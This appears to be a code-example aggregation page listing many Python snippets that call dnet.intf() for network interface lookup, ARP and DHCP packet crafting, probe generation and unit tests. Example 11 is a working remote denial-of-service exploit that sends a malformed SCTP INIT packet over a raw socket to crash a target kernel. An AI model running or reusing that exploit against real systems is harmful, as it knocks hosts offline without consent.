def arp_request(ipaddr):
	sha_str = str(dnet.intf().get(ifname)['link_addr'])
	sha = dnet.eth_aton(sha_str)
	spa_str = str(dnet.intf().get(ifname)['addr']).split("/")[0]
	spa = dnet.ip_aton(spa_str)
	tha = dnet.ETH_ADDR_BROADCAST
	tpa = dnet.ip_aton(ipaddr)
	pkt = ip_header(tha,sha,'\x08\x06') 
	pkt += arp_header('\x00\x01\x08\x00\x06\x04','\x00\x01', sha, spa, '\x00\x00\x00\x00\x00\x00', tpa)
	interface.send(pkt)
Ejemplo n.º 2
0
 def get_if_raw_addr(ifname):
     i = dnet.intf()
     try:
         return i.get(ifname)["addr"].data
     except OSError:
         warning("No MAC address found on %s !" % ifname)
         return b"\0\0\0\0"
Ejemplo n.º 3
0
 def __init__(self, type=ETH_P_ALL, filter=None, promisc=None, iface=None, nofilter=0):
     self.iflist = {}
     self.intf = dnet.intf()
     if iface is None:
         iface = conf.iface
     self.iface = iface
     self.ins = open_pcap(iface, 1600, 0, 100)
     try:
         ioctl(self.ins.fileno(), BIOCIMMEDIATE, struct.pack("I", 1))
     except:
         pass
     if nofilter:
         if type != ETH_P_ALL:  # PF_PACKET stuff. Need to emulate this for pcap
             filter = "ether proto %i" % type
         else:
             filter = None
     else:
         if conf.except_filter:
             if filter:
                 filter = "(%s) and not (%s)" % (filter, conf.except_filter)
             else:
                 filter = "not (%s)" % conf.except_filter
         if type != ETH_P_ALL:  # PF_PACKET stuff. Need to emulate this for pcap
             if filter:
                 filter = "(ether proto %i) and (%s)" % (type, filter)
             else:
                 filter = "ether proto %i" % type
     if filter:
         self.ins.setfilter(filter)
Ejemplo n.º 4
0
def get_interface_to_target(dst):
    if sys.platform == "win32":
        try:
            import dnet
            intf = dnet.intf()
            inte = intf.get_dst(dnet.addr(dst))
            return str(inte['addr']).split("/")[0]
        except ImportError:
            # dnet lib is not installed
            return get_close_matches(dst, local_ips())[0]
    else:
        # based on scapy implementation

        def atol(x):
            ip = socket.inet_aton(x)
            return struct.unpack("!I", ip)[0]

        routes = get_routes()
        dst = atol(dst)
        pathes = []
        for d, m, gw, i, a in routes:
            aa = atol(a)
            if aa == dst:
                pathes.append((0xffffffffL, ("lo", a, "0.0.0.0")))
            if (dst & m) == (d & m):
                pathes.append((m, (i, a, gw)))
        if not pathes:
            return None
        pathes.sort()
        ret = pathes[-1][1]
        return ret[1]
Ejemplo n.º 5
0
 def get_if_raw_addr(ifname):  # noqa: F811
     i = dnet.intf()
     try:
         return i.get(ifname)["addr"].data
     except (OSError, KeyError):
         warning("No MAC address found on %s !" % ifname)
         return b"\0\0\0\0"
Ejemplo n.º 6
0
def lookupdev():
    """XXX - better pcap_lookupdev()"""
    intf = dnet.intf()
    ifent = intf.get_dst(dnet.addr('1.2.3.4')) or \
            [ x for x in intf if x['flags'] & dnet.INTF_FLAG_UP and
              x['type'] == dnet.INTF_TYPE_ETH ][0]
    return ifent['name']
Ejemplo n.º 7
0
        def get_if_raw_hwaddr(iff):
            """Return a tuple containing the link type and the raw hardware
               address corresponding to the interface 'iff'"""

            if iff == scapy.arch.LOOPBACK_NAME:
                return (ARPHDR_LOOPBACK, b'\x00'*6)

            # Retrieve interface information
            try:
                l = dnet.intf().get(iff)
                link_addr = l["link_addr"]
            except:
                raise Scapy_Exception("Error in attempting to get hw address"
                                      " for interface [%s]" % iff)

            if hasattr(link_addr, "type"):
                # Legacy dnet module
                return link_addr.type, link_addr.data

            else:
                # dumbnet module
                mac = mac2str(str(link_addr))

                # Adjust the link type
                if l["type"] == 6:  # INTF_TYPE_ETH from dnet
                    return (ARPHDR_ETHER, mac)

                return (l["type"], mac)
Ejemplo n.º 8
0
 def get_if_raw_hwaddr(iff):
     if iff == scapy.arch.LOOPBACK_NAME:
         return (772, "\x00" * 6)
     try:
         l = dnet.intf().get(iff)
         l = l["link_addr"]
     except:
         raise Scapy_Exception("Error in attempting to get hw address for interface [%s]" % iff)
     return l.type, l.data
Ejemplo n.º 9
0
def list_interfaces_windows():
    try:
        import dnet
    except:
        print '[-] dnet needs to be installed in order to list interfaces'
        return
    
    interfaces = dnet.intf()
    print '[*] Found interfaces :'
    for interface in interfaces:
        print "    %s : hw=%s ip=%s" % (interface["name"], interface.get("addr", None), interface.get("link_addr", None))
Ejemplo n.º 10
0
        def get_working_if():
            """Returns the first interface than can be used with dnet"""

            if_iter = iter(dnet.intf())

            try:
                intf = next(if_iter)
            except StopIteration:
                return scapy.consts.LOOPBACK_NAME

            return intf.get("name", scapy.consts.LOOPBACK_NAME)
Ejemplo n.º 11
0
def main():
    if len(sys.argv) != 3:
        usage()

    host = sys.argv[1]
    port = int(sys.argv[2])

    try:
        sock = dnet.ip()
        intf = dnet.intf()
    except OSError:
        err('requires root privileges for raw socket access')

    dst_addr = socket.gethostbyname(host)
    interface = intf.get_dst(dnet.addr(dst_addr))
    src_addr = interface['addr'].ip

    msg('sending malformed SCTP INIT msg to %s:%s' % (dst_addr, port))

    invalid = ''
    invalid += '\x20\x10\x11\x73'
    invalid += '\x00\x00\xf4\x00'
    invalid += '\x00\x05'
    invalid += '\x00\x05'
    invalid += '\x20\x10\x11\x73'

    for i in xrange(20):
        invalid += '\xc0\xff\x00\x08\xff\xff\xff\xff'

    init = dpkt.sctp.Chunk()
    init.type = dpkt.sctp.INIT
    init.data = invalid
    init.len = len(init)

    sctp = dpkt.sctp.SCTP()
    sctp.sport = 0x1173
    sctp.dport = port
    sctp.data = [ init ]

    ip = dpkt.ip.IP()
    ip.src = src_addr
    ip.dst = dnet.ip_aton(dst_addr)
    ip.p = dpkt.ip.IP_PROTO_SCTP
    ip.data = sctp
    ip.len = len(ip)

    print `ip`

    pkt = dnet.ip_checksum(str(ip))
    sock.send(pkt)

    msg('kernel should have panicked on remote host %s' % (dst_addr))
Ejemplo n.º 12
0
 def read_interfaces():
     i = dnet.intf()
     ifflist = {}
     def addif(iff,lst):
         if not iff.has_key("addr"):
             return
         if not iff.has_key("link_addr"):
             return
         rawip = iff["addr"].data
         ip = inet_ntoa(rawip)
         rawll = iff["link_addr"].data
         ll = str2mac(rawll)
         lst[iff["name"]] = (rawll,ll,rawip,ip)
     i.loop(addif, ifflist)
     return ifflist
Ejemplo n.º 13
0
    def find_loopback(self):
        """ Find which is the loopback interface in this system, use
        dnet for that
        """

        ifs = dnet.intf()

        interfaces = []
        ifs.loop(lambda x, y: interfaces.append(x), None)

        for intf in interfaces:
            if intf["flags"] & dnet.INTF_FLAG_LOOPBACK:
                if self.debug:
                    print >> sys.stderr, "Loopback interface: ", intf["name"]
                return intf["name"]

        if self.debug:
            print >> sys.stderr, "Failed to find loopback interface"

        return None
Ejemplo n.º 14
0
 def get_if_list():
     return [i.get("name", None) for i in dnet.intf()]
Ejemplo n.º 15
0
 def get_if_list():
     """Returns all dnet names"""
     return [i.get("name", None) for i in dnet.intf()]
Ejemplo n.º 16
0
 def get_if_list():
     return [i.get("name", None) for i in dnet.intf()]
Ejemplo n.º 17
0
 def get_if_list():
     """Returns all dnet names"""
     return {i.get("description", None): i.get("name", None)
             for i in dnet.intf()}
Ejemplo n.º 18
0
 def setUp(self):
     self.dev = dnet.intf().get_dst(dnet.addr('1.2.3.4'))['name']
     self.eth = dnet.eth(self.dev)
     self.failUnless(self.eth, "couldn't open Ethernet handle")
Ejemplo n.º 19
0
 def setUp(self):
     self.intf = dnet.intf()
     self.failUnless(self.intf, "couldn't open interface handle")
Ejemplo n.º 20
0
 def get_if_raw_addr(ifname):
     i = dnet.intf()
     return i.get(ifname)["addr"].data
Ejemplo n.º 21
0
 def setUp(self):
     self.intf = dnet.intf()
     self.failUnless(self.intf, "couldn't open interface handle")
Ejemplo n.º 22
0



import code

if __name__=='__main__':
    print 'TESTING SENDER'

    options.pnum = 1000
    options.rate = 0.1
    options.plen = 64
    options.delta = 1e-3
    options.DST = '192.168.1.1'

    eth_info = dnet.intf().get_dst(dnet.addr(options.DST))

    net_info = {}
    net_info['eth'] = eth_info['name']
    net_info['ip_src'] = dnet.addr(eth_info['addr'].ip)
    net_info['ip_dst'] = dnet.addr(options.DST, dnet.ADDR_TYPE_IP)

    options.net_info = net_info

#    class ns: pass
#    ns.cnum = None
#    ns.RCV_READY = True
#    sendloop(ns, busy_loop=False)


Ejemplo n.º 23
0
 def setUp(self):
     self.dev = dnet.intf().get_dst(dnet.addr('1.2.3.4'))['name']
     self.fw = dnet.fw()
     self.failUnless(self.fw, "couldn't open firewall handle")
Ejemplo n.º 24
0
#!/usr/bin/env python

import dnet
from dpkt import dhcp
from dpkt import udp
from dpkt import ip
from dpkt import ethernet

sysintf = 'eth0'
hw = dnet.eth(sysintf)
intf = dnet.intf()

# build a dhcp discover packet to request an ip
d = dhcp.DHCP(
    chaddr=hw.get(),
    xid=1337,
    op=dhcp.DHCPDISCOVER,
    opts=(
        (dhcp.DHCP_OP_REQUEST, ''),
        (dhcp.DHCP_OPT_REQ_IP, ''),
        (dhcp.DHCP_OPT_ROUTER, ''),
        (dhcp.DHCP_OPT_NETMASK, ''),
        (dhcp.DHCP_OPT_DNS_SVRS, '')
    )
)

# build udp packet
u = udp.UDP(
    dport=67,
    sport=68,
    data=d
Ejemplo n.º 25
0
def gen_probes_raw():
    """ Pre-generate raw Ethernet packets and store these in the 
    array pkts.
    """
    from dpkt.ethernet import Ethernet
    from dpkt.ip import IP
    from dpkt.icmp import ICMP
    
    eth_info = dnet.intf().get_dst(options.net_info['ip_dst'])
    options.net_info['l2_src'] = eth_info['link_addr'].eth
    gw = dnet.route().get(options.net_info['ip_dst'])
    if gw:
        options.net_info['l2_dst'] = dnet.arp().get(gw).eth
    else:   # destination is in the same subnet
        options.net_info['l2_dst'] = dnet.arp().get(options.net_info['ip_dst']).eth


    try:
        icmp_data = ICMP(type=8, data=ICMP.Echo(seq=0, id=0,data = 'H'*(options.plen-ICMP_HDR_LEN-IP_HDR_LEN)))
        ip_data = IP(src=options.net_info['ip_src'].ip, dst=options.net_info['ip_dst'].ip, p=1, data=icmp_data)
        ip_data.len += len(ip_data.data)

        p0 = Ethernet(src=options.net_info['l2_src'], dst=options.net_info['l2_dst'], data=ip_data)
        str_p = str(p0)

        hdr = str_p[:ETHER_HDR_LEN+IP_HDR_LEN]
        pkt = str_p[ETHER_HDR_LEN+IP_HDR_LEN:]
        psize = options.plen + ETHER_HDR_LEN

        # packet and format 
        p = [ hdr, 
              pkt[:2], 
              struct.pack('<H', (0)),                           # p[2] = ICMP checksum
              pkt[4:16], 
              struct.pack('!L', (0) % 0xFFFFFFFF),              # p[4] = sequence number (4 bytes)
              struct.pack('!L', (0) % 0xFFFFFFFF),              # p[5] = slot number (4 bytes)
              pkt[16+4+4:]]                                     # payload

        ck = checksum(''.join(p[1:])) & 0xFFFF                  # calculate initial ICMP cksum
        p[2] = struct.pack('H', (ck))                           # update ICMP cksum

        M_ = sum(struct.unpack('HHHH',''.join(p[4:6])))
        j = 0
        for i in xrange(options.pnum):
            j=long(slottimes[i])
            p[4] = struct.pack('!L', (i) % 0xFFFFFFFF)          # increment 4 byte seq ID in ICMP payload
            p[5] = struct.pack('!L', (j) % 0xFFFFFFFF)          # increment 4 byte slot ID in ICMP payload
            M = sum(struct.unpack('HHHH', ''.join(p[4:6])))
            ck = ck + M_ - M

            p[2] = struct.pack('H', (ck) % 0xFFFF)               # update ICMP cksum
            pkts[i] = ''.join(p)[:PKT_ARRAY_WIDTH]                  # only store first 100 packet bytes 

            M_=M

    except (MemoryError, ValueError):
        ERROR("Not enough memory!",2)
    except KeyboardInterrupt:
        print 'terminated by user.'
        raise SystemExit(-1)

    print 'done.'
    try:
        po = pcap.pcap(options.net_info['eth'])
        return po
    except Exception as e:
        print e
Ejemplo n.º 26
0
 def get_if_raw_addr(ifname):
     i = dnet.intf()
     return i.get(ifname)["addr"].data
Ejemplo n.º 27
0
 def setUp(self):
     self.dev = dnet.intf().get_dst(dnet.addr('1.2.3.4'))['name']
     self.eth = dnet.eth(self.dev)
     self.failUnless(self.eth, "couldn't open Ethernet handle")
Ejemplo n.º 28
0
 def setUp(self):
     self.dev = dnet.intf().get_dst(dnet.addr('1.2.3.4'))['name']
     self.fw = dnet.fw()
     self.failUnless(self.fw, "couldn't open firewall handle")
Ejemplo n.º 29
0
 def setUp(self):
     self.intf = dnet.intf()
     self.assertTrue(self.intf, "couldn't open interface handle")